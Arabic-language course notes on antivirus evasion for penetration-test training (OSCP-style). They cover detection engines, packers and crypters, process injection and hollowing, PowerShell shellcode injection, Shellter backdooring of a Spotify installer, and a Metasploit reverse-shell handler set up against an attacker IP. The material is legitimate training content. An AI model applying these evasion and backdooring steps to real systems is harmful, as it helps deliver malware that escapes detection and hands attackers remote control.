Module 12: التحايل على مكافحة الفيروسات

الموديول ده اتنظَّم حوالين ثلاث محاور رئيسية:

1المكوّنات الأساسية ووظائف برامج الحماية من البرامج الخبيثة
2تقنيات التحايل على آليات الكشف الدفاعية
3التطبيق العملي لأساليب تهرّب من الدفاعات

من منظور مختبر الاختراق المحترف: فهم كيف الـ AV بيشتغل من جوه هو الخطوة الأولى قبل أي محاولة للتحايل عليه. الهدف مش الاختراق العشوائي، بل إثبات نقاط ضعف حقيقية لأصحاب المصلحة في إطار تقييمات مرخَّصة وآمنة.

⚠ Legal Scope

كل التقنيات في الموديول ده لازم تتطبَّق فقط في بيئات لاب متحكَّم فيها أو في إطار engagement مرخَّص رسمياً. استخدامها بدون إذن يعتبر جريمة إلكترونية في معظم الدول.


01مكوّنات وآلية عمل برامج الحماية

أهداف الوحدة

1التمييز بين التهديدات المعروفة وغير المعروفة
2تحديد المكوّنات الأساسية لبرامج الحماية الحديثة
3شرح كيفية عمل محركات الفحص والتحليل الداخلية

تعريف الـ Antivirus وتطوّره

برامج مكافحة الفيروسات هي تطبيقات أمنية صُمِّمت لمنع البرامج الخبيثة والكشف عنها وإزالتها. في بدايتها كانت بتركّز على الفيروسات التقليدية بس — لكن مع تطوّر التهديدات كشبكات الـ Botnet وبرامج الفدية (Ransomware)، توسّعت قدراتها بشكل كبير.

📌 تطوّر الحماية

الـ AV الحديث مش بس بيمسح الملفات. بقى بيضم: مراقبة الترافيك على غرار الـ IDS/IPS، جدار حماية مدمج، فلترة الويب وتحليل الـ URLs، حماية البريد الإلكتروني، ومراقبة سلوكية مستمرة للعمليات الجارية.

برامج الحماية المعاصرة بتجمع طبقات متعددة في منصة واحدة — وده بيخلّي التحايل عليها أصعب من مجرد تعديل ملف.


02التهديدات المعروفة مقابل غير المعروفة

مفهوم التوقيع (Signature)

⬦ Definition

التوقيع (Signature) هو نمط مميّز بيُستخدم للتعرّف بشكل فريد على برنامج خبيث محدد. ممكن يكون: بصمة رقمية (Hash) كاملة للملف، تسلسل bytes محدد داخل الكود، أو strings نصية مميّزة مضمَّنة في الكود.

كل محرك كشف غالبًا بيعتمد على صيغة قواعده الخاصة — لذلك التهديد الواحد ممكن يكون ليه توقيعات متعددة، كل واحدة مصمَّمة لسياق تحليل مختلف. مثلاً: توقيع لاكتشاف الملف على القرص، وتوقيع تاني للترافيك اللي الـ malware بيولّده على الشبكة.

إطار عمل YARA

⬦ YARA Framework

YARA: إطار عمل معياري مفتوح المصدر بيسمح للمحللين بوصف خصائص البرامج الخبيثة باستخدام قواعد مرنة، والبحث عن عيّنات مطابقة عبر مجموعات بيانات ضخمة. بيُستخدم على نطاق واسع مع منصة VirusTotal اللي بتجمع عشرات محركات الكشف.

الكشف باستخدام Machine Learning

لأن الكشف القائم على التوقيعات محدود بالتهديدات المُحلَّلة مسبقًا، الحلول الحديثة — زي Microsoft Defender — بتدمج نماذج تعلّم آلي بتقيّم الملفات المشبوهة حتى في غياب أي توقيع مطابق. النماذج دي بتحلّل: أنماط السلوك، البنية الداخلية، والتشابه مع تهديدات معروفة.

✓ نقطة مهمة

الكشف بالـ ML غالبًا بيعتمد على خدمات سحابية — يعني في البيئات المعزولة (Isolated Networks) قدرته بتقلّ بشكل ملحوظ. ده نقطة ضعف ممكن تستغلّها وانت بتقيّم بيئة هدف.

AV مقابل EDR — المقارنة الكاملة

المعيارAntivirus (AV)EDR — Endpoint Detection & Response
الهدف الرئيسيمنع التهديدات (Prevention)الكشف والاستجابة (Detection & Response)
طريقة العملفحص الملفات آنياًجمع بيانات تفصيلية مستمرة من الـ Endpoints
البيانات المُجمَّعةمحدودة (الملف المشبوه فقط)كل أنشطة العملية، الشبكة، والنظام
التحليلمحلي وفوريSIEM بيحلّل ويربط الأحداث ببعض
إعادة بناء الهجومغير متاحمتاح — بيعيد بناء timeline الهجوم كامل
ميزة إضافيةالاستجابة الفورية للملفات الخبيثةبعض الـ EDRs بيضم ميزات منع مدمجة

الـ AV والـ EDR مش بديلين لبعض — بيكمّلوا بعض. الـ AV بيوفّر حماية أمامية ضد الـ malware المعروف، والـ EDR بيوفّر رؤية عميقة وقدرة استجابة للهجمات المتطوّرة.


03محركات ومكونات الـ Antivirus الداخلية

قلب الـ AV الحديث هو آلية تحديث مستمرة بتجيب تعريفات الكشف من مستودع المورّد الإلكتروني، وبتخزّنها محليًا عشان تغذّي المحركات المتخصّصة المختلفة.

01
📁 File Analysis Module
بيتولّى الفحص الدوري الكامل للقرص والمراقبة اللحظية للملفات الجديدة أو المعدَّلة. بيشتغل في User Space وKernel Space للوصول لكل أحداث النظام.
02
🧠 Memory Inspection Module
بيفحص الذاكرة الحية للعمليات الجارية بدل الملفات على القرص. ده بالتحديد مهم جداً لاكتشاف الـ malware اللي بيشتغل في الذاكرة بس (Fileless).
03
🌐 Network Monitoring Module
بيراقب الترافيك الداخل والخارج من الـ Network Interfaces. لما بيكتشف اتصال مشبوه بيقدر يحجبه لمنع التواصل مع خوادم التحكّم (C2) أو تسريب البيانات.
04
🔍 Code Analysis (Disassembly)
بيترجم تعليمات الـ Machine Code لـ Assembly قابل للقراءة عشان يكتشف الـ Packers والـ Obfuscators والـ Decryption Stubs المخبية.
05
🧪 Sandbox / Emulator
بيشغّل البرنامج المشبوه في بيئة افتراضية معزولة عشان يراقب سلوكه بأمان. لما الكود المخبي بيتنفَّذ جوّا الـ sandbox، بيتحلَّل مقابل قواعد الكشف السلوكية.
06
🌍 Browser Extension
بيتكامل مع المتصفح لمراقبة الـ Scripts والتنزيلات وسلوك الصفحات — لأن كتير من التهديدات بتيجي من محتوى الويب اللي بيكون معزول عن باقي النظام.
07
🤖 AI / Machine Learning Module
بيحلّل أنماط وخصائص وسلوكيات — غالبًا بمساعدة موارد سحابية — لاتخاذ قرارات حتى في غياب توقيعات مسبقة. بيكون فعّال جداً ضد التهديدات غير المعروفة.

كيف المحركات بتشتغل مع بعض

ملف / عمليةمشبوهةAV ENGINES📁 File Analysis Module🧠 Memory Inspection Module🌐 Network Monitoring Module🧪 Sandbox / Emulator🤖 AI / ML Module✓ آمن⚠ مشبوه✗ مهدِّد
كل المحركات بتشتغل بشكل متوازي وبتغذّي قرار واحد مجمَّع

04أساليب الكشف عن التهديدات

1
Signature-Based Detection — الكشف بالتوقيعات

بيشتغل زي نظام Deny-list: بيفحص مواقع التخزين بحثًا عن بصمات رقمية مرتبطة بـ malware مُحدَّد مسبقًا. التوقيع ممكن يكون: hash تشفيري للملف، أنماط bytes مميّزة، أو strings نصية فريدة.

نقطة الضعف الكبيرة: حتى تغيير بايت واحد في الملف بيولّد hash تماماً مختلف — يعني نسخة معدَّلة بسيطة من الـ malware ممكن تهرب من الكشف بالـ Hash وحده. عشان كده الحلول الحديثة نادرًا ما بتعتمد عليه لوحده.

2
Heuristic Analysis — التحليل الاستدلالي

بيحاول يكتشف التهديدات بفحص بنية الكود ومنطقه بدل البحث عن تطابق حرفي. بيستخدم قواعد وخوارزميات والتعرّف على الأنماط لتحديد إذا كان البرنامج يتصرّف زي الـ Malware.

تقنياته: تحليل تسلسلات التعليمات بحثًا عن عمليات مشبوهة، إعادة بناء منطق البرنامج عبر Disassembly، وتحديد الدوال الشائعة في النشاط الخبيث. الميزة: قادر يكشف variants جديدة من تهديدات معروفة حتى لو مفيش signature مطابق ليها.

3
Behavior Monitoring — المراقبة السلوكية

بيركّز على إيه اللي البرنامج بيعمله مش على شكله. الملفات المشبوهة بتتنفَّذ في بيئة معزولة (Sandbox) وبيتراقَب سلوكها بأمان. بيدور على: تعديلات غير مصرَّح بيها للنظام، محاولات تصعيد الامتيازات، اتصالات شبكة غير متوقَّعة، والتدخّل في أدوات الأمان.

فعّال جداً ضد التهديدات المخفاة بالتشفير أو الـ Obfuscation — لأن حتى لو الكود كان مشفَّر على القرص، سلوكه في الـ Sandbox بيكشف نواياه.

4
Machine Learning–Driven Detection — الكشف بالذكاء الاصطناعي

بيحلّل كميات ضخمة من الـ Metadata — سمات الملف، أنماط السلوك، والخصائص البنيوية — لتحديد احتمالية أن البرنامج خبيث. Microsoft Defender مثلاً بيستخدم نموذج محلي للقرارات السريعة وذكاء سحابي للتحليل العميق عند الحالات الغامضة.

لأن الـ ML مش بيعتمد على توقيعات محدَّدة، هو فعّال بشكل خاص في اكتشاف التهديدات غير المرئية مسبقًا وعائلات الـ Malware المعدَّلة.

★ Exam Tip

مفيش أسلوب كشف واحد كافي لوحده — كل الحلول الحديثة بتدمج الأساليب الأربعة مع بعض. وده بيفسّر ليه نتائج الكشف بتتفاوت بين منتجات الأمان المختلفة على نفس العيّنة.


05نظرة عامة على تقنيات التحايل

أهداف الوحدة

1شرح تقنيات تجنّب الكشف لما الكود الخبيث بيكون مخزَّن على القرص
2وصف الأساليب اللي بتقلّل الكشف بالتشغيل الأساسي في ذاكرة النظام

تقنيات التحايل في سياق اختبار الاختراق بتنقسم لفئتين رئيسيتين:

المعيارOn-Disk EvasionIn-Memory Evasion
الهدفتغيير مظهر الملف على القرصتجنّب الكتابة على القرص تماماً
الأثر الجنائيملف معدَّل موجود على القرصالكود بيختفي بعد الـ Reboot (الذاكرة RAM فقط)
المحركات المستهدَفةFile scanning enginesFile-based detection layers
الاستمراريةممكن يفضل موجودمؤقت (Volatile)
صعوبة التطبيقأسهل نسبياًأصعب تقنياً
احتمال الكشفأعلى (مع تطوّر الـ AV)أقل (خصوصاً ضد File scanners)
📌 لماذا الفئتين مهمتين معاً

الـ AV الحديث بيستخدم طبقات دفاعية متعددة — يعني المهاجمين بيكيّفوا أساليبهم باستمرار. الـ Disk-based بيحاول يتهرّب من التحليل الساكن (Static Analysis)، والـ Memory-based بيهدف لتجاوز المراقبة اللي بتحصل قبل التنفيذ.


06تقنيات التحايل على القرص (On-Disk)

كل الاستراتيجيات دي هدفها منع محركات الفحص من التعرّف على البرامج الخبيثة المخزَّنة على القرص.

Executable Packers — ضاغطات الملفات التنفيذية

من أقدم أساليب التحايل. في بداية الإنترنت، كانت هذه الأدوات بتُستخدم أساساً لتقليل حجم البرامج. لكن الأهم: الـ Packers بتنتج ملفاً تنفيذياً جديداً بـ Binary Layout مختلف تماماً — يعني بصمة رقمية (Hash) مختلفة بالكامل.

⚙ كيف تختلف عن الأرشفة العادية

بخلاف ضغط الـ ZIP العادي، الـ Packer بينتج ملف قابل للتنفيذ مباشرة بـ Binary Layout مختلف كلياً — مع الحفاظ على وظيفته الأصلية. النتيجة: الـ AV القديم اللي يعتمد على التوقيعات ممكن ميعرفوش.

ملاحظة: الـ Packers المعروفة (زي UPX) بقت سهلة الكشف بالحلول الحديثة — دلوقتي محتاج Packers مخصَّصة أو نُدرة ليكون فعّالاً.

Code Obfuscation — تعتيم الكود

بدل ما تضغط الملف، الـ Obfuscators بتحوّل الكود مع الحفاظ على سلوكه. الأساليب الشائعة:

1استبدال التعليمات بمعادلات وظيفية مكافئة
2إضافة عمليات وهمية غير مؤثرة في النتيجة
3إعادة ترتيب المنطق البرمجي وترتيب الدوال
4تقسيم الكود لأجزاء أصغر متفرّقة

أدوات الـ Obfuscation المتقدّمة ممكن حتى تعدّل الكود ديناميكياً أثناء التنفيذ — وده بيعقّد التحليل أكثر.

Encryption-Based Protection — الحماية بالتشفير (Crypters)

الـ Crypters بتحوّل المحتوى التنفيذي لصيغة مشفَّرة مع إرفاق Stub صغير بيفكّ التشفير وقت التشغيل. النتيجة:

Combined Protection — الحماية المركَّبة

الاستراتيجيات المتطوّرة نادرًا بتعتمد على أسلوب واحد. بتجمع طبقات متعددة مع إجراءات دفاعية إضافية:

⚠ Anti-Analysis Techniques

الحماية المركَّبة بتضم: Anti-Debugging (منع التحليل بالـ Debugger) + Anti-Sandbox (اكتشاف بيئة الـ Sandbox والامتناع عن التنفيذ) + Anti-Reverse Engineering (منع فكّ الهندسة العكسية). كتير من هذه التقنيات اتطوَّرت أصلًا لحماية البرامج التجارية من القرصنة.

★ ملاحظة OSCP

رغم أن مفاهيم الـ On-Disk Evasion تبدو بسيطة، تطبيقها بفاعلية صعب تقنياً — وفيه أدوات مجانية قليلة جداً بتقدر تتجاوز الحلول الحديثة بشكل متسق. بعض الأدوات التجارية زي The Enigma Protector بتوضّح قدرات التحايل المتقدّمة اللي بتتحدّى أنظمة الكشف التقليدية.


07تقنيات التحايل في الذاكرة (In-Memory)

الـ In-Memory Evasion بتركّز على التلاعب بالذاكرة المتطايرة (RAM) بدل تعديل ملفات على القرص. الميزة الرئيسية: أثر جنائي (Forensic Footprint) ضئيل جداً أو معدوم.

Remote Process Memory Injection

إدخال كود خبيث في مساحة عنوان عملية شرعية جارية — بدل إطلاق عملية مشبوهة، المهاجم بيستخدم عملية موثوقة.

1
الحصول على Permission للتفاعل مع العملية المستهدَفة

فتح Handle للعملية المستهدَفة بالأذونات المطلوبة (PROCESS_ALL_ACCESS أو أذونات محددة).

2
حجز ذاكرة داخل العملية

استخدام VirtualAllocEx() لحجز مساحة ذاكرة قابلة للتنفيذ داخل Address Space العملية المستهدَفة.

3
كتابة الـ Payload في المساحة المحجوزة

استخدام WriteProcessMemory() لنسخ الـ Shellcode في المساحة المحجوزة.

4
تشغيل الكود داخل العملية المضيفة

استخدام CreateRemoteThread() لإنشاء Thread جديد داخل العملية المستهدَفة يبدأ تنفيذه من عنوان الـ Shellcode. الكود بيشتغل تحت هوية العملية الشرعية — وده بيجعل الـ Monitoring Systems تتعامل معه كنشاط طبيعي.

Reflective Library Injection

تحميل مكتبة DLL مباشرة من الذاكرة بدل من القرص. بشكل طبيعي، أنظمة التشغيل بتتوقّع تحميل المكتبات من ملفات — لكن هذه التقنية بتعيد بناء عملية التحميل داخلياً عشان المكتبة تشتغل من غير ما تتكتب على التخزين.

📌 التحدّي التقني

هذه التقنية صعبة تقنياً لأنها بتطلب إعادة بناء الوظائف اللي بيتولّاها System Loader بشكل طبيعي — زي حلّ التبعيات (Resolving Dependencies) وتهيئة التنفيذ.

Process Hollowing

بيبدأ بتشغيل عملية شرعية في حالة Suspended (معلَّقة قبل التنفيذ) → استبدال الـ Memory Image الأصلي بكود خبيث → استئناف التنفيذ. العملية بتبدو شرعية من الخارج، لكن سلوكها بيكون تحت سيطرة الـ Payload المُدخَل.

Inline Hooking

بيعدّل ذاكرة عملية جارية لإعادة توجيه تدفّق التنفيذ. تعليمة صغيرة بتتدرج في دالة معيّنة بحيث لما الدالة بتشتغل، التحكّم بينتقل مؤقتًا للكود الخبيث، وبعدين بيرجع للتنفيذ الطبيعي. الأسلوب ده مرتبط بشكل أساسي بعائلات الـ Rootkits.

Rootkits — الاستمرارية الخفية

⚡ Advanced Threat

الـ Rootkits فئة متطوّرة من التهديدات المصمَّمة للبقاء غير مكتشَفة مع الحفاظ على وصول طويل الأمد. ممكن تعدّل مكوّنات على مستويات مختلفة: User Applications، Kernel Modules، أو حتى Boot Mechanisms. التطبيق بيتطلّب صلاحيات مرتفعة (Admin/Root) غالبًا بتُكتسب عبر استغلال ثغرات.

مقارنة أساليب الـ In-Memory Injection

التقنيةالآليةالصعوبة التقنيةمستوى الخفاء
Remote Process Injectionكتابة Shellcode في عملية خارجيةمتوسطةعالي
Reflective DLL Injectionتحميل DLL من الذاكرة مباشرةعاليةعالي جداً
Process Hollowingاستبدال Image عملية شرعيةعاليةعالي جداً
Inline Hookingتعديل Execution Flow في الذاكرةمتقدمة جداًأعلى (Rootkit-level)
Thread Injection (Current Process)الـ Shellcode في نفس العمليةمنخفضة - متوسطةمتوسط - عالي

08اختبار فاعلية التحايل وبيئة الاختبار

مفهوم SecOps

⬦ SecOps

SecOps: التعاون الوثيق بين فريق عمليات الـ IT وفريق SOC (Security Operations Center) بهدف الحفاظ على قدرات مستمرة للمراقبة والوقاية والاستجابة ضد التهديدات المستجدة والمستقرة على حدٍّ سواء.

من منظور مختبر الاختراق: فهم كيف فِرَق SecOps بتنشر وبتدير تقنيات الحماية ضروري لتقييم إذا كانت الضوابط الدفاعية قادرة على كشف أساليب الهجوم المتطوّرة.

VirusTotal — تحذير مهم

⚡ لا ترفع أدوات الـ Engagement على VirusTotal

رفع عيّنة اختبار على VirusTotal بيكشف كم محرك قادر يكتشفها — لكن المنصة بتشارك الملفات المرفوعة مع المورّدين المشاركين. النتيجة: بيتولَّد signatures جديدة بسرعة كبيرة، وأداة الاختبار بتفقد فاعليتها في المهمات المستقبلية.

البدائل الأكثر أماناً للاختبار

1AntiScan.Me: خدمة خاصة بتدّعي فحص العيّنات دون مشاركتها مع المورّدين — استخدمها بحذر ولما بس يكون ضرورياً
2Lab VM: الأفضل — إعادة بناء بيئة العميل في VM معزول بنفس الـ AV والإعدادات، يسمح بتجريب حر بدون خطر

تعطيل الإرسال التلقائي في Windows Defender

كتير من برامج الأمان بيضم ميزات تحليل سحابي بترفع الملفات المشبوهة تلقائياً. أثناء الاختبار، ده ممكن يكشف أدوات مخصَّصة. في Windows Defender:

path
Windows Security
  → Virus & threat protection
    → Manage settings
      → Cloud-delivered protection: OFF
      → Automatic sample submission: OFF
⚠ مهم

عطّل هذه الخيارات في بيئة الاختبار فقط — وبعد خلوص الاختبار، لو بيئة الهدف الحقيقية بتستخدم هذه الميزات، فعّلها تاني عشان تقيّم الكشف في ظروف واقعية.

أهمية الـ Custom Tooling

قواعد الكشف بتُشتَقّ غالبًا من عيّنات مُحلَّلة مسبقًا. الكود المخصَّص والتقنيات الفريدة بتكون أقل احتمالاً لمطابقة التوقيعات الموجودة مقارنةً بالأدوات الشائعة المعروفة.

✓ Best Practice

في التقييمات الأمنية المرخَّصة، تطوير أدوات اختبار مخصَّصة بيساعد في قياس مدى استجابة الدفاعات للتهديدات المبتكرة — وده أدقّ وأنفع من استخدام أدوات معروفة بتوقيعاتها مسبقة في قواعد بيانات الـ AV.


09Thread Injection — تطبيق عملي بـ PowerShell

ليه بنستهدف AV محدد؟

إنشاء تحايل شامل لكل منتجات الأمان صعب جداً — كل مورّد بيستخدم توقيعات وهيوريستيك وتحليل سلوكي ونماذج ML مختلفة. في الـ Engagement، المختبر بيركّز على الـ AV المحدد المنتشر في بيئة الهدف.

إعداد بيئة الاختبار

⚙ Lab Setup — المثال العملي

AV: Avira Free Security على Windows 11
التحقق المطلوب قبل الاختبار: الحماية اللحظية مفعَّلة ✓ | التوقيعات محدَّثة ✓ | الـ AV بيكتشف Payloads معروفة ✓

الخطوة الأولى — التحقق من عمل الـ AV

خطوة التحقق المعيارية: رفع Payload معروف (مثلًا مولَّد بـ Metasploit) — لو الـ AV عزله فوراً، ده بيأكّد: محرك الملفات شغّال، الحماية على مستوى Kernel مفعَّلة، وآليات العزل (Quarantine) تعمل صح.

ليه الـ In-Memory Injection بيشتغل؟

1مفيش ملف خبيث بيتكتب على القرص — File Scanners ما عندهاش إيه تفحصه
2كشف التوقيعات صعب جداً — الـ Shellcode مش موجود كملف
3الأثر الجنائي ضئيل — الكود بيختفي مع Reboot الجهاز

Thread Injection — إيه هو بالظبط؟

في المثال ده، بنعمل Injection في نفس العملية الجارية (PowerShell) — مش في عملية خارجية.

ليه PowerShell الاختيار الأمثل؟

1يقدر يستدعي Windows APIs مباشرة بدون ملفات إضافية
2Scripts = نص عادي (سهل التعديل والتخصيص)
3مش محتاج Compilation — بيشتغل جوّا Interpreter
4متاح افتراضياً على كل أنظمة Windows الحديثة

Windows APIs المستخدَمة في Thread Injection

API Callالوظيفةالمرحلة
VirtualAlloc()حجز ذاكرة قابلة للتنفيذ (PAGE_EXECUTE_READWRITE) داخل العملية الحاليةتهيئة الذاكرة
memset()نسخ bytes الـ Shellcode في المساحة المحجوزةكتابة الـ Payload
CreateThread()إنشاء Thread جديد يبدأ تنفيذه من عنوان الـ Shellcodeتشغيل الـ Payload

سير العمل العملي (Workflow)

A
توليد الـ Shellcode

باستخدام إطار عمل زي Metasploit، نولّد Payload (مثلًا Reverse Shell). الـ Payload بيتخزَّن كـ Byte Array داخل السكربت.

B
حجز الذاكرة وإدخال الـ Payload

السكربت بيحجز ذاكرة قابلة للتنفيذ بـ VirtualAlloc()، بينسخ الـ Shellcode فيها بـ memset()، وبيشغّله عبر CreateThread().

النتيجة: الكود الخبيث بيتنفَّذ من غير ما يلمس القرص.

C
تلقّي الـ Reverse Connection

Listener (مثلًا Netcat أو Metasploit Handler) بيستنى الاتصال الوارد — المهاجم بيحصل على Shell وبيبدو النشاط كإجراء طبيعي من العملية المضيفة.

ليه الـ Script الأصلي بيتكشَّف؟

سبب الكشفالتفاصيل
Known injection patternsالـ AV بيتعرّف على أنماط VirtualAlloc + memset + CreateThread مع بعض
Suspicious API usageاستخدام APIs معيّنة مع بعض يطلّع علامة تحذير
Recognizable variable namesأسماء المتغيّرات الافتراضية $sc، $winFunc إلخ. موجودة في قواعد كشف ثابتة
Static string signaturesنص Win32 داخل السكربت بيطابق signatures قائمة

الـ Obfuscation — تقليل الكشف بتعديل بسيط

لأن السكربتات نصوص عادية، تعديلات بسيطة ممكن تتحايل على الكشف الساكن (Static Detection):

powershell — obfuscation example
# الأسماء الأصلية المكتشَفة:
$sc      → $var1
$winFunc → $var2
Win32    → iWin32

# حتى هذا التغيير البسيط يمكن أن يقلل نسبة التطابق مع Signatures

سياسة تنفيذ الـ PowerShell Scripts

Windows بيمنع تشغيل السكربتات بشكل افتراضي عبر Execution Policies:

السياسةالتأثير
Restrictedالافتراضي — يمنع تشغيل أي Script بالكامل
RemoteSignedيسمح للـ Scripts المحلية، يطلب توقيع للـ Scripts البُعدية
Unrestrictedيسمح بكل Scripts مع تحذير للبُعدية
Bypassلا قيود ولا تحذيرات — الأنسب لبيئات الاختبار
📌 ملاحظة

السياسات في الغالب خاصة بالمستخدم ويمكن التحكّم فيها عبر Group Policy. تغيير السياسة بيسمح بتشغيل الـ Script — لكنه بيكون في حدّ ذاته إجراء ممكن أن يلفت الانتباه في بيئات الإنتاج.

رسم تخطيطي: Thread Injection Flow

PowerShellScript + ShellcodeByte ArrayVirtualAlloc()حجز ذاكرةPAGE_EXECUTE_RWmemset()كتابة الـ Shellcodeفي الذاكرة المحجوزةCreateThread()تشغيل Thread→ Reverse Shellالمرحلة 0المرحلة 1المرحلة 2المرحلة 3⚡ كل العمليات تحدث في RAM فقط — لا شيء يُكتب على القرص
Thread Injection — الـ Payload بيتنفَّذ مباشرة في ذاكرة العملية

10أتمتة التحايل باستخدام Shellter

إيه هو Shellter؟

Shellter هي أداة Dynamic Shellcode Injection مصمَّمة لتضمين Payloads خبيثة داخل ملفات Windows التنفيذية الشرعية (PE) بطريقة خفية — بديل أكثر تطوّراً من تقنيات الـ Injection الكلاسيكية التي يكتشفها الـ AV بسهولة.

ما اللي Shellter بتعمله بالظبط؟

1
تحليل عميق لبنية الـ PE ومسارات التنفيذ

Shellter بتدرس الملف التنفيذي الشرعي بعمق — بنيته الداخلية، كل مسارات التنفيذ الممكنة، وتدفّق الكود.

2
إيجاد أماكن آمنة لإدخال الـ Shellcode

بتحدّد مواقع داخل الكود الأصلي تسمح بإدراج الـ Shellcode بدون كسر وظيفة البرنامج.

3
تجنّب الأفعال المشبوهة

Shellter ما بتغيّرش صلاحيات الـ Sections الموجودة وما بتنشئش Sections جديدة — وده بالضبط اللي كان بيكشف أدوات الـ Injection التقليدية.

4
إعادة استخدام إدخالات الـ IAT الموجودة

بدل استدعاء Windows APIs بشكل مباشر ومشبوه، بتستخدم Import Address Table (IAT) الموجودة أصلاً في الملف للـ Memory Allocation والـ Payload Transfer والـ Execution — وده بيخلّي الملف المعدَّل يبدو شرعياً لمحركات الكشف القائمة على التوقيعات.

📌 Shellter vs Shellter Pro

النسخة المجانية بتدعم ملفات PE الـ 32-bit فقط. النسخة التجارية (Shellter Pro) بتدعم 32-bit و64-bit مع قدرات Stealth أكثر تقدُّماً.

تثبيت Shellter على Kali Linux

رغم أن Shellter بتستهدف ملفات Windows، ممكن تشغّلها على Kali بواسطة Wine (طبقة التوافق اللي بتسمح بتشغيل تطبيقات Windows على Linux).

bash
# البحث عن الحزمة
apt-cache search shellter

# تثبيت Shellter
sudo apt install shellter

# تثبيت Wine
sudo apt install wine

# إضافة معمارية 32-bit
dpkg --add-architecture i386
apt-get update
apt-get install wine32

أوضاع التشغيل

الوضعالوصفمتى تستخدمه؟
Auto Modeعملية Injection آلية كاملة بأدنى تدخّل من المستخدمالاختيار الأول في معظم السيناريوهات
Manual Modeتحكّم دقيق في كل خطوة من عملية الـ Injectionعندما يفشل Auto Mode أو تحتاج تخصيص متقدم

اختيار الـ PE Target

Shellter بتحتاج ملف Windows PE شرعي كـ Carrier للـ Payload.

⚙ المثال المستخدَم في الشرح

Spotify Installer (32-bit) — لماذا؟ يبدو موثوقاً للمستخدم، أقل ترشيحاً للفحص من قِبَل أدوات الأمان، وغالباً مسموح له في سياسات الأمان.

Shellter بتطلب مسار الملف → بتحلّله → بتعمل Backup قبل التعديل.

Stealth Mode وإعداد الـ Payload

لما Shellter بتلاقي نقطة Injection مناسبة، بتسألك عن تفعيل Stealth Mode:

اختيار الـ Payload وإعداد الـ Listener

الخطوةالتفاصيل
اختيار الـ PayloadMeterpreter Reverse TCP (الأكثر موثوقية على Windows 11)
LHOSTIP جهاز المهاجم (يستقبل الاتصال)
LPORTالبورت الذي سيستمع عليه الـ Handler
نتيجة الـ Injectionملف PE يبدو شرعياً لكنه يحمل Meterpreter مضمَّن
metasploit — listener setup
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <Attacker_IP>
set LPORT <Port>
run

Shellter Workflow — رسم تخطيطي

LegitimatePE Filespotify.exeSHELLTER① Deep PE Analysis② Find Injection Points③ IAT Reuse④ Stealth ModeLHOST + LPORT + PayloadBackdooredPE Filelooks normal ✓Target Runs FileSpotify installs normally+ Reverse Shell opens
Shellter تحوّل ملفاً شرعياً لـ Backdoor مع الحفاظ على وظيفته الأصلية
★ Key Takeaways — Shellter

الأدوات الآلية تقدر تتجاوز الكشف القائم على التوقيعات ← البرامج الشرعية يمكن تسليحها ← Stealth Mode بيحافظ على سلوك طبيعي للبرنامج ← إعداد الـ Listener ضروري قبل تشغيل الملف المصاب ← هذه التقنيات شائعة في حملات الـ Phishing واختبارات الاختراق المستهدَفة.


Cheat Sheet مرجعي

أساليب الكشف — مقارنة سريعة

الأسلوبالمبدأنقاط القوةنقاط الضعف
Signature-Basedمطابقة البصمات والـ Hashesسريع، دقيق للتهديدات المعروفةعاجز ضد تهديدات جديدة أو معدَّلة
Heuristicتحليل بنية الكود والمنطقيكتشف Variants جديدةFalse Positives أعلى
Behavior Monitoringمراقبة أفعال البرنامج في Sandboxفعّال ضد المشفَّر والمعتَّمقابل للتخطّي بـ Anti-Sandbox
ML / AIتعلّم من Patterns وخصائصيكتشف تهديدات غير معروفةيحتاج اتصال سحابي — ضعيف في الشبكات المعزولة

محركات الـ AV السبعة — مرجع سريع

المحركالوظيفة الأساسيةيكتشف
File Analysisفحص دوري ومراقبة لحظية للملفاتMalware على القرص
Memory Inspectionفحص الذاكرة الحية للعملياتFileless Malware و Code Injection
Network Monitoringمراقبة الترافيك الشبكيC2 Communications و Data Exfiltration
Code AnalysisDisassembly وتحليل الكودPackers و Obfuscators و Decryption Stubs
Sandbox / Emulatorتشغيل آمن في بيئة معزولةEncrypted Malware والـ Behavior الخبيث
Browser Extensionمراقبة Scripts والتنزيلاتWeb-based threats و Drive-by Downloads
AI / ML Moduleتحليل Patterns سحابي/محليUnknown Threats و Zero-days

On-Disk vs In-Memory — مقارنة شاملة

المعيارOn-Disk EvasionIn-Memory Evasion
الأثر الجنائيملف معدَّل على القرصRAM فقط — يختفي بعد Reboot
الاستمراريةممكن (الملف باقي)مؤقت (Volatile)
احتمال الكشفأعلىأقل (ضد File Scanners)
الأساليب الرئيسيةPackers, Obfuscation, CryptersProcess Injection, Hollowing, Hooking
الصعوبة التقنيةأسهل نسبياًأصعب — يتطلب Windows API knowledge

Windows APIs المستخدَمة في Thread Injection

APIالمعامل الرئيسيالوظيفة
VirtualAlloc()PAGE_EXECUTE_READWRITEحجز ذاكرة قابلة للقراءة والكتابة والتنفيذ
memset()Shellcode bytes, lengthكتابة bytes الـ Shellcode في المساحة المحجوزة
CreateThread()lpStartAddress = pointer to shellcodeإنشاء Thread جديد يبدأ تنفيذه من الـ Shellcode
VirtualAllocEx()hProcess = target process handleنفس VirtualAlloc لكن في عملية خارجية
WriteProcessMemory()hProcess, lpBaseAddressالكتابة في ذاكرة عملية خارجية
CreateRemoteThread()hProcess, lpStartAddressRemote Process Injection — Thread في عملية خارجية

أوامر تثبيت Shellter على Kali

الأمرالوظيفة
apt-cache search shellterالبحث عن حزمة Shellter
sudo apt install shellterتثبيت Shellter
sudo apt install wineتثبيت Wine (لتشغيل أدوات Windows على Linux)
dpkg --add-architecture i386إضافة دعم معمارية 32-bit
apt-get updateتحديث قاعدة بيانات الحزم
apt-get install wine32تثبيت Wine 32-bit (مطلوب لـ Shellter)

PowerShell Execution Policies — مرجع سريع

السياسةالسلوكملاحظة
Restrictedيمنع كل Scriptsالافتراضي في معظم أنظمة Windows
RemoteSignedScripts محلية مسموحة — البُعدية تحتاج توقيعشائع في بيئات الشركات
Unrestrictedكل Scripts مسموحة مع تحذير للبُعديةتحذير قابل للتجاوز
Bypassلا قيود ولا تحذيراتالأنسب لبيئات الاختبار المتحكَّم فيها

فحوصات سريعة لـ AV Evasion فاشل

العَرَضالفحص الأول
AV عزل الملف فوراًجرّب Obfuscation — غيّر أسماء المتغيّرات والـ Strings المميّزة
كشف الـ Memory Moduleجرّب Process Injection في عملية أكثر شرعية (explorer.exe)
Sandbox اكتشف السلوكأضف Anti-Sandbox check أو تأخير في التنفيذ
ML اكتشف الـ Payloadاستخدم Custom Shellcode بدل Metasploit templates الشائعة
